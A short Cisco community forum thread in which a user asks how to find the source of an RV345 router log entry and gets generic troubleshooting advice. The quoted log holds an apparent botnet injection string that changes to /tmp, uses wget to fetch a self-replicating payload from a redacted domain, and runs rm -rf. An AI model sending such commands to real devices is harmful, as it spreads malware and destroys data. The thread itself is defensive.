cancel
Showing results for 
Search instead for 
Did you mean: 
cancel
348
Views
0
Helpful
2
Replies

RV345 Log - How to get the source?

masc1
Level 1
Level 1

Hi! I have the following log:

Webfilter: WF_ALLOW: Invalid URL or parsing error :127.0.0.1/shell?cd /tmp; wget <DOMAIN> Jaws.Selfrep;rm -rf bin.arm

 
How can i find out the source of this call? Which "client" wants to connect here? This log is rather meaningless as it doesn't provide any metadata.
 
Thank you
2 Replies 2

balaji.bandi
Hall of Fame
Hall of Fame

Sure agree, try rebooting the device and test is, also check is the new firmware if not upgrade to the latest firmware and observe if that fix the issue.

still issue --time for SMB TAC.

 

BB

***** Rate All Helpful Responses *****

How to Ask The Cisco Community for Help

yes still exist. But why isn't it possible to include the requesting client's ip or at least the LAN-Port in the log this call came from? Thus it would be much easier to find the source.